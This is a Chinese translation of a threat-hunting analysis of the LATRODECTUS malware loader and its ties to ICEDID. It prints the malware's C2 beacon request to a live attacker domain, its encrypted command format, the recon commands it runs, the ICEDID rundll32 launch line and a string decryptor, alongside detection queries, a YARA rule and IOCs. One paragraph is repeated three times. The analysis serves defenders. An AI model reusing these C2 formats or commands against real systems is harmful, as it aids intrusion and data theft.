威胁狩猎:Latrodectus最新分析2——ICEDID的潜在替代方案

原文首发于先知社区
https://xz.aliyun.com/t/14574

LATRODECTUS 介绍


2023年10月,沃尔玛研究人员首次发现了LATRODECTUS,这是一种恶意软件加载器,在网络犯罪分子中越来越受欢迎。尽管被认为是一个新的家族,但由于行为和发展上的相似之处,包括一个下载和执行加密负载的命令处理程序,LATRODECTUS与ICEDID之间存在着紧密联系。Proofpoint 和 Team Cymru 基于这一点,发现了 ICEDID 和 LATRODECTUS 的运营者在网络基础设施之间存在着密切的联系。

LATRODECTUS提供了广泛的标准功能,威胁行为者可以利用这些功能部署进一步的有效负载,在初步攻破后进行各种活动。其代码库没有被混淆,只有11个命令处理程序,主要集中在枚举和执行方面。这种类型的加载程序代表了我们团队最近观察到的一波趋势,如PIKABOT,其代码更加轻量和直接,具有有限数量的处理程序。

这篇文章将重点关注LATRODECTUS本身,分析其最显著的特征,并提供应对这一具有财务冲击的威胁资源。

关键要点

  • LATRODECTUS是沃尔玛研究人员去年最初发现的,目前在最近的以财务为动机的活动中继续获得认可
  • LATRODECTUS,一个可能取代 ICEDID 的替代品,与 ICEDID 相似,包括一个命令处理程序来执行 ICEDID 的有效负载
  • 自从其创立以来,我们观察到了新的事件处理程序(进程发现、桌面文件列表),并集成了一种自删除技术来删除运行文件
  • Elastic Security 通过内存签名、行为规则和威胁狩猎提供超高能力,以应对像 LATRODECTUS 这样的威胁(Elastic Security团队的私货,可以理解)

LATRODECTUS 活动概述

从2024年3月初开始,Elastic Security实验室观察到通过电子邮件传播LATRODECTUS的活动有所增加。这些活动通常涉及一个可识别的感染链,其中包含超大的JavaScript文件,利用WMI的功能调用msiexec.exe并安装远程托管在WEBDAV共享上的MSI文件。

威胁狩猎:Latrodectus最新分析2——ICEDID的潜在替代方案
图1:攻击链

在过去一年中,加载器领域发生了重大变化,例如 QBOT 被摧毁和 ICEDID 消失,我们看到新的加载器,如 PIKABOT 和 LATRODECTUS 已经出现,可能成为替代品。

LATRODECTUS 分析


我们的 LATRODECTUS 样本最初打包了伪装成 Bitdefender 内核模式驱动程序(TRUFOS.SYS)组件的文件信息,如下图所示。

威胁狩猎:Latrodectus最新分析2——ICEDID的潜在替代方案
图2:打包的 LATRODECTUS 样本文件版本信息

为了继续进行恶意软件分析,样本必须通过手动解包或通过自动解包服务,如 UnpacMe进行解包。

威胁狩猎:Latrodectus最新分析2——ICEDID的潜在替代方案
图3:UnpacMe 摘要

LATRODECTUS 是一个具有 4 个不同导出函数的 DLL,每个导出函数都被分配相同的导出地址。

威胁狩猎:Latrodectus最新分析2——ICEDID的潜在替代方案
图4:LATRODECTUS 的出口

字符串混淆

LATRODECTUS 中的所有字符串都受到保护,使用简单算法对加密字节进行处理,并通过执行算术和位操作进行转换。2023 年发表的初始报告详细介绍了一个在我们的样本中未观察到的 PRNG 算法,表明这个加载器的持续发展。以下是在 Python 中使用我们的 nightMARE 框架实现的算法:

def decrypt_string(encrypted_bytes: bytes) -> bytes:
   x = cast.u32(encrypted_bytes[:4])
   y = cast.u16(encrypted_bytes[4:6])
   byte_size = cast.u16(cast.p32(x ^ y)[:2])
   decoded_bytes = bytearray(byte_size)

   for i, b in enumerate(encrypted_bytes[6 : 6 + byte_size]):
       decoded_bytes[i] = ((x + i + 1) ^ b) % 256

   return bytes(decoded_bytes)

运行时 API

LATRODECTUS 在运行时模糊了大部分的导入。程序开始时,它查询 PEB 并结合使用 CRC32 校验和来解析 kernel32.dll 和 ntdll.dll 模块及其函数。为了解析额外的库,如 user32.dll 或 wininet.dll ,恶意软件采取了不同的方法,执行通配符搜索( *.dll )在 Windows 系统目录中。它检索每个 DLL 文件名并将它们直接传递给 CRC32 校验和函数。 LATRODECTUS在运行时模糊了大部分的导入。程序开始时,它通过查询PEB并结合使用CRC32校验和来解析kernel32.dll和ntdll.dll模块及其函数。为了解析额外的库文件,如user32.dll或wininet.dll,恶意软件采用不同的方法,在Windows系统目录中执行通配符搜索(*.dll)。它检索每个DLL文件名,并直接传递给一个CRC32校验和函数。 LATRODECTUS在运行时之前对大部分的导入进行了混淆。在程序启动时,它查询PEB(进程环境块),结合使用CRC32校验和来解析kernel32.dllntdll.dll模块及其功能。为了解析其他库,例如user32.dllwininet.dll,该恶意软件采用了不同的方法,在Windows系统目录中执行通配符搜索(*.dll)。它检索每个DLL文件名并直接将它们传递给CRC32校验和函数。 (译注:这种动态解析和混淆技术使LATRODECTUS更加隐蔽,难以被检测和分析,有效地提高了其对抗安全防护措施的能力。)

威胁狩猎:Latrodectus最新分析2——ICEDID的潜在替代方案
图5:使用 CRC32 校验和进行 DLL 搜索

分析对抗

当所有的导入都被解析后,LATRODECTUS会执行一系列的反分析检查。首先,通过检查进程环境块(PEB)中的BeingDebugged标志来监控是否存在调试器。如果发现调试器,程序将终止

威胁狩猎:Latrodectus最新分析2——ICEDID的潜在替代方案
通过 PEB 检查是否正在调试

为了避免检测到活跃进程数量较少的沙箱或虚拟机,LATRODECTUS使用了两个验证检查,将运行的进程数量与操作系统产品版本结合起来进行验证。

威胁狩猎:Latrodectus最新分析2——ICEDID的潜在替代方案
图6:进程数量和操作系统验证检查

为了考虑不同Windows操作系统版本之间的主要差异,开发人员使用了一个基于Windows主版本/次版本号和内部版本号的自定义枚举类型。

威胁狩猎:Latrodectus最新分析2——ICEDID的潜在替代方案
图7:与内部版本号、操作系统版本相关的枚举

这两个先前的条件翻译为:

  • 如果进程数量少于 75 且操作系统版本是最新版本,如 Windows 10、Windows Server 2016 或 Windows 11,则 LATRODECTUS 将退出
  • 如果进程数量少于 50 且操作系统版本为较旧版本(如 Windows Server 2003 R2、Windows XP、Windows 2000、Windows 7、Windows 8 或 Windows Server 2012/R2),LATRODECTUS 将退出

经过沙箱检查后,LATRODECTUS 验证当前进程是否在 WOW64 下运行,WOW64 是 Windows 操作系统的一个子系统,允许 32 位应用程序在 64 位系统上运行。如果是真的(在 64 位操作系统上作为 32 位应用程序运行),恶意软件将退出。

威胁狩猎:Latrodectus最新分析2——ICEDID的潜在替代方案
图8:IsWow64Process 检查

最后一次检查是基于通过 iphlpapi.dllGetAdaptersInfo() 调用验证 MAC 地址。如果没有有效的 MAC 地址,恶意软件也将终止。

威胁狩猎:Latrodectus最新分析2——ICEDID的潜在替代方案
图9:MAC 地址检查

互斥锁

该恶意软件使用字符串 runnung 作为互斥体,以防止在主机上重新感染,这可能是开发人员的意外打字错误。

威胁狩猎:Latrodectus最新分析2——ICEDID的潜在替代方案
图10:互斥锁

硬件 ID

互斥体创建后,LATRODECTUS 将生成一个硬件 ID,该 ID 是由机器的卷序列号与一个硬编码常数(0x19660D)相乘得到的。

威胁狩猎:Latrodectus最新分析2——ICEDID的潜在替代方案
图11:硬件 id 计算

活动 ID

在这个阶段,我们从样本中解密的活动名称( Littlehw )被用作种子传递到 Fowler-Noll-Vo 哈希函数中。这将产生一个哈希值,用于演员跟踪不同的活动和相关的受害者机器。

威胁狩猎:Latrodectus最新分析2——ICEDID的潜在替代方案
图12:使用 FNV 计算活动 ID

设置/持久化

恶意软件将使用配置参数生成文件夹路径,这些参数确定了 LATRODECTUS 将被放置在磁盘上的位置,例如以下目录:

  • AppData
  • Desktop
  • Startup
  • Personal
  • LocalAppData 我们的样本配置为使用硬编码目录字符串 AppDataCustom_update位置,以及与从卷序列号种子化的数字连接的硬编码文件名Update_ 。 以下是我们虚拟机中的完整文件路径:
C:UsersREMAppDataRoamingCustom_updateUpdate_88d58563.dll

恶意软件将检查是否存在文件 AppDataRoamingCustom_updateupdate_data.dat 以供读取,如果文件不存在,它将在写入自身副本之前创建目录。

威胁狩猎:Latrodectus最新分析2——ICEDID的潜在替代方案
图 13:LATRODECTUS 写在 AppData 中

文件复制完成后,LATRODECTUS 从全局配置中检索两个 C2 域,使用先前描述的字符串解密函数。

威胁狩猎:Latrodectus最新分析2——ICEDID的潜在替代方案
图 14:解密 C2 服务器

在主线程执行命令分派之前,LATRODECTUS 使用 Windows 组件对象模型(COM)设置了一个持久性的定时任务。

威胁狩猎:Latrodectus最新分析2——ICEDID的潜在替代方案
图 15:通过 COM 创建定时任务

在我们的示例中,任务名称被硬编码为 Updater ,并计划在成功登录后执行。

威胁狩猎:Latrodectus最新分析2——ICEDID的潜在替代方案
图 16:计划任务属性

自删除

自删除是 LATRODECTUS 采用的一个值得注意的技术之一。它是由 Jonas Lykkegaard 发现并由 Lloyd Davies 在 delete-self-poc repo 中实现的。该技术允许 LATRODECTUS 在进程仍在运行时使用备用数据流删除自身。

Elastic Security实验室已经看到这种技术被用于 ROOK 勒索软件家族等恶意软件中。可能的目标是通过干扰收集和分析来阻碍事件响应过程。编译的恶意软件包含存储库中的一个字符串(:wtfbbq)。

威胁狩猎:Latrodectus最新分析2——ICEDID的潜在替代方案
图 17:LATRODECTUS 中的自删除代码

这种技术在感染开始时以及恶意软件使用事件处理程序#15 执行更新时被观察到。Elastic Security Labs 已创建了一个CAPA 规则,以帮助其他组织在分析各种恶意软件时通用地识别这种行为。

通讯

LATRODECTUS 使用 base64 和 RC4 加密其请求,使用硬编码密码 12345 。第一个包含受害者信息和配置细节的 HTTPS POST 请求,注册受感染的系统。

POST https://aytobusesre.com/live/ HTTP/1.1
Accept: */*
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1)
Host: aytobusesre.com
Content-Length: 256
Cache-Control: no-cache

M1pNDFh7flKrBaDJqAPvJ98BTFDZdSDWDD8o3bMJbpmu0qdYv0FCZ0u6GtKSN0g//WHAS2npR/HDoLtIKBgkLwyrIh/3EJ+UR/0EKhYUzgm9K4DotfExUiX9FBy/HeV7C4PgPDigm55zCU7O9kSADMtviAodjuRBVW3DJ2Pf5+pGH9SG1VI8bdmZg+6GQFpcFTGjdWVcrORkxBjCGq3Eiv2svt3+ZFIN126PcvN95YJ0ie1Puljfs3wqsW455V7O
威胁狩猎:Latrodectus最新分析2——ICEDID的潜在替代方案
图 18:初始注册请求

以下是第一个请求中发送的解密内容示例:

counter=0&type=1&guid=249507485CA29F24F77B0F43D7BA&os=6&arch=1&username=user&group=510584660&ver=1.1&up=4&direction=aytobusesre.com&mac=00:0c:24:0e:29:85;&computername=DESKTOP-3C4ILHO&domain=-
Name Description
counter 每次回调时,C2 请求的数量增加一
type 请求类型(注册,等等)
guid 由卷序列号生成的硬件 ID 种子
os Windows 操作系统产品版本
arch Windows 架构版本
username 感染机器的用户名
group 由唯一字符串在二进制中种子化的活动标识符与 FNV
version LATRODECTUS 版本
up Unknown
direction C2 域
mac MAC 地址
computername 受感染机器的主机名
domain 感染机器的域

每个请求由对象类型、整数值和相应参数以管道分隔。有 4 种对象类型,可以路由攻击者控制的命令(CLEARURL、URLS、COMMAND、ERROR)。

威胁狩猎:Latrodectus最新分析2——ICEDID的潜在替代方案
图 19:命令调度逻辑

主要事件处理程序通过 COMMAND 对象类型传递,其中包括处理程序 ID 和它们各自的参数。

COMMAND|12|http://www.xxxxxx.com/test  (译注:有改动,原网站有问题)

CLEARURL 对象类型用于删除任何配置的域。URLS 对象类型允许攻击者切换到新的 C2 URL。最后一个对象类型 ERROR 目前未配置。

威胁狩猎:Latrodectus最新分析2——ICEDID的潜在替代方案
图 20:通过 CyberChef 的命令请求示例

bot功能

LATRODECTUS 的核心功能是通过其命令处理程序驱动的。这些处理程序用于从受害机器收集信息,提供执行能力以及配置植入物。自最初发布以来,我们已经看到添加了两个附加处理程序(检索进程、桌面列表),这可能表明代码库仍然活跃并在变化。

命令 ID 描述
2 从桌面目录检索文件列表
3 检索进程祖先
4 收集系统信息
12 下载并执行 PE
13 下载并执行 DLL
14 下载并执行 shellcode
15 执行更新,重新启动
17 终止自身进程和线程
18 下载并执行 ICEDID 负载
19 增加信标超时时间
20 重置请求计数器

桌面列表 – 命令 ID(2)

此命令处理程序将检索用户桌面内容列表,开发人员称之为 desklinks 。这些数据将被加密并附加到出站信标请求中。这用于快速枚举和验证受害者环境。

威胁狩猎:Latrodectus最新分析2——ICEDID的潜在替代方案
图 21:桌面列表(处理程序#2)

示例请求:

counter=0&type=1&guid=249507485CA29F24F77B0F43D7BA&os=6&arch=1&username=user&group=510584660&ver=1.1&up=4&direction=aytobusesre.com&desklinks=["OneDrive.lnk","OneNote.lnk","PowerPoint.lnk","Notepad++.lnk","Excel.lnk","Google Chrome.lnk","Snipping Tool.lnk","Notepad.lnk","Paint.lnk"]

处理祖先 – 命令 ID(3)

此事件处理程序由开发人员引用为 proclist,它通过 CreateToolhelp32Snapshot API 从受感染的计算机收集整个运行进程的祖先。

威胁狩猎:Latrodectus最新分析2——ICEDID的潜在替代方案
图 22:检索进程祖先(处理程序#3)

像安全研究人员一样,恶意软件作者对进程的父子关系也感兴趣,以便做出决策。LATRODECTUS 的作者甚至收集有关进程的孙子信息,可能是为了验证不同的受损环境。

威胁狩猎:Latrodectus最新分析2——ICEDID的潜在替代方案
图 23:LATRODECTUS收集进程祖先的示例

收集系统信息 – 命令 ID(4)

此命令处理程序创建一个新线程,运行以下系统发现/枚举命令,每个命令都是一个潜在的检测机会:

C:WindowsSystem32cmd.exe /c ipconfig /all
C:WindowsSystem32cmd.exe /c systeminfo
C:WindowsSystem32cmd.exe /c nltest /domain_trusts
C:WindowsSystem32cmd.exe /c nltest /domain_trusts /all_trusts
C:WindowsSystem32cmd.exe /c net view /all /domain
C:WindowsSystem32cmd.exe /c net view /all
C:WindowsSystem32cmd.exe /c net group "Domain Admins" /domain
C:WindowsSystem32wbemwmic.exe /Node:localhost /Namespace:\rootSecurityCenter2 Path AntiVirusProduct Get * /Format:List
C:WindowsSystem32cmd.exe /c net config workstation
C:WindowsSystem32cmd.exe /c wmic.exe /node:localhost /namespace:\rootSecurityCenter2 path AntiVirusProduct Get DisplayName | findstr /V /B /C:displayName || echo No Antivirus installed
C:WindowsSystem32cmd.exe /c whoami /groups

每个输出都与相应的收集数据放置在 URI 中:

&ipconfig=
&systeminfo=
&domain_trusts=
&domain_trusts_all=
&net_view_all_domain=
&net_view_all=
&net_group=
&wmic=
&net_config_ws=
&net_wmic_av=
&whoami_group=

下载并执行 PE – 命令 ID(12)

此处理程序从 C2 服务器下载一个 PE 文件,然后将内容写入磁盘,并使用随机生成的文件名执行该文件。

威胁狩猎:Latrodectus最新分析2——ICEDID的潜在替代方案
图24:下载并运行 PE 功能(处理程序#4)

以下是在我们的环境中使用此处理程序的示例:

威胁狩猎:Latrodectus最新分析2——ICEDID的潜在替代方案
图 25:下载和运行 PE 功能的进程树

下载并执行 DLL – 命令 ID(13)

此命令处理程序从 C2 服务器下载一个 DLL 文件,将其写入磁盘并使用随机生成的文件名执行该 DLL 文件,然后使用 rundll32.exe 运行。

威胁狩猎:Latrodectus最新分析2——ICEDID的潜在替代方案
图 26:下载并运行 DLL 函数(处理程序#13)

下载并执行 shellcode – 命令(14)

此命令处理程序通过 InternetReadFile 从 C2 服务器下载 shellcode,然后将 shellcode 分配并复制到内存中,然后使用指向 shellcode 的新线程直接调用它。

威胁狩猎:Latrodectus最新分析2——ICEDID的潜在替代方案
图 27:Shellcode 执行(处理程序#14)

更新/重新启动 – 命令 ID(15)

这个处理程序似乎对恶意软件执行二进制更新,下载到的地方,通知现有的线程/互斥体,然后释放。随后删除文件,并在终止现有进程之前下载/执行新的二进制文件。

威胁狩猎:Latrodectus最新分析2——ICEDID的潜在替代方案
图 28:更新处理程序(处理程序#15)

终止 – 命令 ID(17)

此处理程序将终止现有的 LATRODECTUS 进程。

威胁狩猎:Latrodectus最新分析2——ICEDID的潜在替代方案
图 29:自我终止(处理程序#17)

下载并执行托管的 ICEID 负载 – 命令 ID(18)

此命令处理程序从 LATRODECTUS 服务器下载两个 ICEDID 组件,并使用生成的 rundll32.exe 进程执行它们。然而,我们个人尚未观察到这种情况在野外被使用。

处理程序创建一个包含两个文件的文件夹到 AppDataRoaming 目录中。这些文件路径和文件名是由一个自定义随机数生成器生成的,我们将在下一节中进行审查。在我们的情况下,这个新文件夹的位置是:

C:UsersREMAppDataRoaming-632116337

它从 C2 服务器检索一个文件( test.dll ),标准的 ICEDID 加载程序,该加载程序以随机生成的文件名( -456638727.dll)写入磁盘。

威胁狩猎:Latrodectus最新分析2——ICEDID的潜在替代方案
图 30:LATRODECTUS 下载 ICEDID 加载程序

LATRODECTUS 然后会执行类似的步骤,为 ICEDID 负载生成一个随机文件名( 1431684209.dat )。在执行下载之前,它将设置参数以正确加载 ICEDID。如果您以前遇到过 ICEDID,那么命令行的这一部分应该很熟悉:它用于调用加载器的 ICEDID 导出,同时传递到加密的 ICEDID 负载文件的相对路径。

init -zzzz="-6321163371431684209.dat"
威胁狩猎:Latrodectus最新分析2——ICEDID的潜在替代方案
图31:LATRODECTUS 下载 ICEDID 数据

LATRODECUS 使用硬编码的 URI( /files/bp.dat )从配置的 C2 服务器发起第二个下载请求,将其写入文件( 1431684209.dat )。研究人员分析bp.dat文件,确认其为常见的加密 ICEDID 有效载荷,通常被称为 license.dat

威胁狩猎:Latrodectus最新分析2——ICEDID的潜在替代方案
图 32:加密的 ICEDID 负载(bp.dat)

解密文件后,恶意软件研究人员注意到一个熟悉的 129 字节垃圾字节序列被添加到文件前面,然后是自定义的节头。

威胁狩猎:Latrodectus最新分析2——ICEDID的潜在替代方案
图 33:解密后的 ICEDID 有效载荷(bp.dat)

我们的团队能够重新审视先前的工具,并成功解密这个文件,使我们能够重建 PE(ICEDID)。

威胁狩猎:Latrodectus最新分析2——ICEDID的潜在替代方案
图 34:ICEDID YARA 在从 bp.dat 重建的 PE 上触发

此时,ICEDID 加载器和加密的有效负载已下载到同一文件夹中。

威胁狩猎:Latrodectus最新分析2——ICEDID的潜在替代方案
图 35:ICEDID 加载器和加密的有效负载

这些文件然后使用 rundll32.exe 一起执行,通过 CreateProcessW 和它们各自的参数。下面是观察到的命令行:

rundll32.exe C:UsersREMAppDataRoaming-632116337-456638727.dll,init -zzzz="-6321163371431684209.dat"
威胁狩猎:Latrodectus最新分析2——ICEDID的潜在替代方案
图 36:Rundll32.exe 执行

使用我们的 ICEDID YARA 规则扫描由 LATRODECTUS 生成的 rundll32.exe子进程,也表明存在 ICEDID。

威胁狩猎:Latrodectus最新分析2——ICEDID的潜在替代方案
图 37:YARA 内存扫描检测 ICEDID

信标超时 – 命令 ID(19)

LATRODECTUS 支持抖动以进行向 C2 的信标传输。这可以使防御者更难通过网络来源检测到,因为这会引入信标间隔的随机性。

威胁狩猎:Latrodectus最新分析2——ICEDID的潜在替代方案
图 38:调整超时功能(处理程序#19)

为了计算超时时间,它通过在屏幕上用户光标位置乘以系统正常运行时间( GetTickCount )生成一个随机数。然后将该结果作为参数传递给 RtlRandomEx。

威胁狩猎:Latrodectus最新分析2——ICEDID的潜在替代方案
图 39:使用光标位置的随机数生成器

重置计数器 – 命令 ID(20)

此命令处理程序将重置传递给每个通信请求的请求计数器。例如,在第三次回调中,它在这里填充为 3。通过此功能,开发人员可以从 0 开始重置计数。

counter=3&type=4&guid=638507385

LATRODECTUS / ICEDID 连接

ICEDID 和 LATRODECTUS 之间肯定存在某种发展联系或工作安排。以下是观察到的一些相似之处:

  • 系统发现处理程序中的相同枚举命令
  • DLL 导出的所有指针都指向相同的导出函数地址,这是 ICEDID 有效载荷的常见手段
  • C2 数据被连接在一起作为 C2 流量请求中的变量
  • 从处理程序(#18)下载的 bp.dat 文件用于通过 rundll32.exe 执行 ICEDID 有效载荷
  • 功能似乎是以类似的编码方式编写的
威胁狩猎:Latrodectus最新分析2——ICEDID的潜在替代方案
图 40:基于 COM 的定时任务设置 – ICEDID 对比 LATRODECTUS

研究人员并未得出结论,认为 ICEDID 和 LATRODECTUS 家族之间存在明确的关系,尽管它们至少在表面上是有关联的。ICEDID 具有更成熟的能力,比如用于数据窃取或 BackConnect 模块的能力,并且在几年的时间里有着丰富的文献记录。一个正在考虑的假设是 LATRODECTUS 正在积极开发,作为 ICEDID 的替代品,并且处理程序(#18)被包含在内,直到恶意软件作者对 LATRODECTUS 的能力感到满意。

沙盒化 LATRODECTUS

为了评估 LATRODECTUS 的检测,我们搭建了一个 Flask 服务器,并配置了不同的处理程序,指示受感染的机器在沙盒环境中执行各种操作。这种方法为防御者提供了一个很好的机会,以评估他们的检测和日志工具对每种能力的有效性。可以根据需要交换不同的有效载荷,如 shellcode/二进制文件。

威胁狩猎:Latrodectus最新分析2——ICEDID的潜在替代方案
图 41:命令处理程序被沙盒化

作为一个例子,对于下载和执行 DLL(处理程序#13),我们可以向命令调度程序提供以下请求结构(对象类型、处理程序、处理程序参数)

COMMAND|13|http://www.xxx.com/dll, ShowMessage  译注:有修改,原始链接见原文

以下示例描述了之前描述的 RC4 加密字符串,该字符串已经进行了 base64 编码。

E3p1L21QSBOqEKjYrBKiLNZJTk7KZn+HWn0p2LQfOLWCz/py4VkkAxSXXdnDd39p2EU=

使用以下 CyberChef 工具,分析人员可以生成加密的命令请求:

威胁狩猎:Latrodectus最新分析2——ICEDID的潜在替代方案
图 42:通过 CyberChef 进行 DLL 执行处理程序的示例

使用实际恶意软件代码库,并使用低风险框架执行这些不同的处理程序,防御者可以窥视其安全设备记录的事件、警报和日志。

检测 LATRODECTUS

以下是在 LATRODECTUS 恶意软件感染过程中触发的 Elastic Defend 保护功能:

威胁狩猎:Latrodectus最新分析2——ICEDID的潜在替代方案
图 43:Elastic Defend对于LATRODECTUS的告警

以下是预先构建的与 MITRE ATT&CK 对齐的规则及其描述:

ATT&CK 技术 Elastic 规则 描述
T1059.007 – Javascript T1027 – 混淆文件或信息 可疑的超大型脚本执行 LATRODECTUS 通过超大的 JavaScript 文件传递,平均超过 800KB,其中充满了随机文本。
T1047 – Windows 管理工具 可疑 WMI 客户端的执行 Javascript 滴管器调用 WMI 挂载 WEBDAV 共享,并调用 msiexec 安装远程 msi 文件。
T1218.007 – Misexec 通过 MSIEXEC 可疑的 MsiExec 子进程远程文件执行 托管在远程 Webdav 上的 MSI 文件以静默模式执行。一旦执行,它会释放一个 DLL 并启动 rundll32 通过 Advanced Installer viewer.exe 二进制文件加载它。
T1218.011 – Rundll32 Rundll32 或 Regsvr32 从未备份的内存加载了一个 DLL Rundll32 从 AppData 加载 LATRODECTUS DLL 并开始代码注入。
T1055 – 进程注入 内存威胁检测警报:来自未签名的 DLL 的 Shellcode 注入 VirtualProtect API 调用来自声誉低的模块的 Shellcode 执行从可疑的未备份内存加载的网络模块 Shellcode 执行触发了 3 个端点行为警报和一个内存威胁检测警报。
T1053.005 – 计划任务 通过一种不寻常的过程创建的计划任务 LATRODECTUS 可能会使用计划任务持续存在(rundll32 将创建一个计划任务)。
T1070.004 – 文件删除 运行中可执行文件的潜在自删除 恶意软件 DLL 的一部分自更新命令,当 DLL 未从 AppData 运行时,LATRODECTUS 将在运行时删除自身,并从新路径重新启动,或者运行一个利用此技术的更新版本。
T1059.003 – Windows 命令行 通过 RunDLL32 启动的命令行活动已开始 LATRODECTUS 命令 ID(4)- 通过一系列 cmd.exe 执行收集系统信息。

以下猎杀和检测查询列表可用于检测以执行为重点的 LATRODECTUS 后渗透命令:

Rundll32 下载 PE/DLL(命令处理程序#12、#13 和#18):

sequence by process.entity_id with maxspan=1s
[file where event.action == "creation" and process.name : "rundll32.exe" and 
 /* PE file header dropped to the InetCache folder */
file.Ext.header_bytes : "4d5a*" and file.path : "?:\Users\*\AppData\Local\Microsoft\Windows\INetCache\IE\*"]
[network where process.name : "rundll32.exe" and 
   event.action : ("disconnect_received""connection_attempted"and 
   /* network disconnect activity to a public Ip address */
   not cidrmatch(destination.ip, "10.0.0.0/8""127.0.0.0/8""169.254.0.0/16""172.16.0.0/12""192.0.0.0/24""192.0.0.0/29""192.0.0.8/32""192.0.0.9/32""192.0.0.10/32""192.0.0.170/32""192.0.0.171/32""192.0.2.0/24""192.31.196.0/24""192.52.193.0/24""192.88.99.0/24""224.0.0.0/4""100.64.0.0/10""192.175.48.0/24","198.18.0.0/15""198.51.100.0/24""203.0.113.0/24""240.0.0.0/4""::1""FE80::/10""FF00::/8""192.168.0.0/16")]

威胁狩猎:Latrodectus最新分析2——ICEDID的潜在替代方案
图 44:使用hunt 检测LATRODECTUS的EQL查询

以下是一个 ES|QL 搜索,用于查找 rundll32 到公共 IP 地址(这是不常见的)的长期和/或高数量的网络连接:

from logs-endpoint.events.network-*
| where host.os.family == "windows" and event.category == "network" and
 network.direction == "egress" and process.name == "rundll32.exe" and
/* excluding private IP ranges */
 not CIDR_MATCH(destination.ip, "10.0.0.0/8", "127.0.0.0/8", "169.254.0.0/16", "172.16.0.0/12", "192.0.0.0/24", "192.0.0.0/29", "192.0.0.8/32", "192.0.0.9/32", "192.0.0.10/32", "192.0.0.170/32", "192.0.0.171/32", "192.0.2.0/24", "192.31.196.0/24", "192.52.193.0/24", "192.168.0.0/16", "192.88.99.0/24", "224.0.0.0/4", "100.64.0.0/10", "192.175.48.0/24","198.18.0.0/15", "198.51.100.0/24", "203.0.113.0/24", "240.0.0.0/4", "::1","FE80::/10", "FF00::/8")
| keep source.bytes, destination.address, process.name, process.entity_id, process.pid, @timestamp, host.name
/* calc total duration and the number of connections per hour */
| stats count_connections = count(*), start_time = min(@timestamp), end_time = max(@timestamp) by process.entity_id, process.pid, destination.address, process.name, host.name
| eval duration = TO_DOUBLE(end_time)-TO_DOUBLE(start_time), duration_hours=TO_INT(duration/3600000), number_of_con_per_hour = (count_connections / duration_hours)
| keep host.name, destination.address, process.name, process.pid, duration, duration_hours, number_of_con_per_hour, count_connections
| where count_connections >= 100

威胁狩猎:Latrodectus最新分析2——ICEDID的潜在替代方案
图 45:使用hunt检测 LATRODECTUS 的 ES QL查询

以下是 Elastic Defend 在 LATRODECTUS 内存签名上触发的屏幕截图:

威胁狩猎:Latrodectus最新分析2——ICEDID的潜在替代方案
图 46:通过 Elastic Defend 检测LATRODECTUS 的内存签名

YARA

Elastic Security已创建了用于识别 LATRODECTUS 的 YARA 规则

rule Windows_Trojan_LATRODECTUS_841ff697 {
    meta:
        author = "Elastic Security"
        creation_date = "2024-03-13"
        last_modified = "2024-04-05"
        license = "Elastic License v2"
         os = "Windows"
        arch = "x86"
        threat_name = "Windows.Trojan.LATRODECTUS"
        reference_sample = "aee22a35cbdac3f16c3ed742c0b1bfe9739a13469cf43b36fb2c63565111028c"


    strings:
        $Str1 = { 48 83 EC 38 C6 44 24 20 73 C6 44 24 21 63 C6 44 24 22 75 C6 44 24 23 62 C6 44 24 24 }
        $crc32_loadlibrary = { 48 89 44 24 40 EB 02 EB 90 48 8B 4C 24 20 E8 ?? ?? FF FF 48 8B 44 24 40 48 81 C4 E8 02 00 00 C3 }
        $delete_self = { 44 24 68 BA 03 00 00 00 48 8B 4C 24 48 FF 15 ED D1 00 00 85 C0 75 14 48 8B 4C 24 50 E8 ?? ?? 00 00 B8 FF FF FF FF E9 A6 00 }
        $Str4 = { 89 44 24 44 EB 1F C7 44 24 20 00 00 00 00 45 33 C9 45 33 C0 33 D2 48 8B 4C 24 48 FF 15 7E BB 00 00 89 44 24 44 83 7C 24 44 00 75 02 EB 11 48 8B 44 24 48 EB 0C 33 C0 85 C0 0F 85 10 FE FF FF 33 }
        $handler_check = { 83 BC 24 D8 01 00 00 12 74 36 83 BC 24 D8 01 00 00 0E 74 2C 83 BC 24 D8 01 00 00 0C 74 22 83 BC 24 D8 01 00 00 0D 74 18 83 BC 24 D8 01 00 00 0F 74 0E 83 BC 24 D8 01 00 00 04 0F 85 44 02 00 00 }
        $hwid_calc = { 48 89 4C 24 08 48 8B 44 24 08 69 00 0D 66 19 00 48 8B 4C 24 08 89 01 48 8B 44 24 08 8B 00 C3 }
        $string_decrypt = { 89 44 24 ?? 48 8B 44 24 ?? 0F B7 40 ?? 8B 4C 24 ?? 33 C8 8B C1 66 89 44 24 ?? 48 8B 44 24 ?? 48 83 C0 ?? 48 89 44 24 ?? 33 C0 66 89 44 24 ?? EB ?? }
        $campaign_fnv = { 48 03 C8 48 8B C1 48 39 44 24 08 73 1E 48 8B 44 24 08 0F BE 00 8B 0C 24 33 C8 8B C1 89 04 24 69 04 24 93 01 00 01 89 04 24 EB BE }
    condition:
        2 of them
}

IOC

Observable Type Name Reference
aee22a35cbdac3f16c3ed742c0b1bfe9739a13469cf43b36fb2c63565111028c SHA-256 TRUFOS.DLL LATRODECTUS
aytobusesre.com domain
LATRODECTUS C2
scifimond.com domain
LATRODECTUS C2
gyxplonto.com domain
ICEDID C2
neaachar.com domain
ICEDID C2

参考资料

以上研究中参考了以下内容:

https://medium.com/walmartglobaltech/icedid-gets-loaded-af073b7b6d39 

https://www.proofpoint.com/us/blog/threat-insight/latrodectus-spider-bytes-ice    先知上之前已翻译

工具

字符串解密和 IDA 注释工具


原文始发于微信公众号(独眼情报):威胁狩猎:Latrodectus最新分析2——ICEDID的潜在替代方案

版权声明:admin 发表于 2024年5月22日 下午2:33。
转载请注明:威胁狩猎:Latrodectus最新分析2——ICEDID的潜在替代方案 | CTF导航

相关文章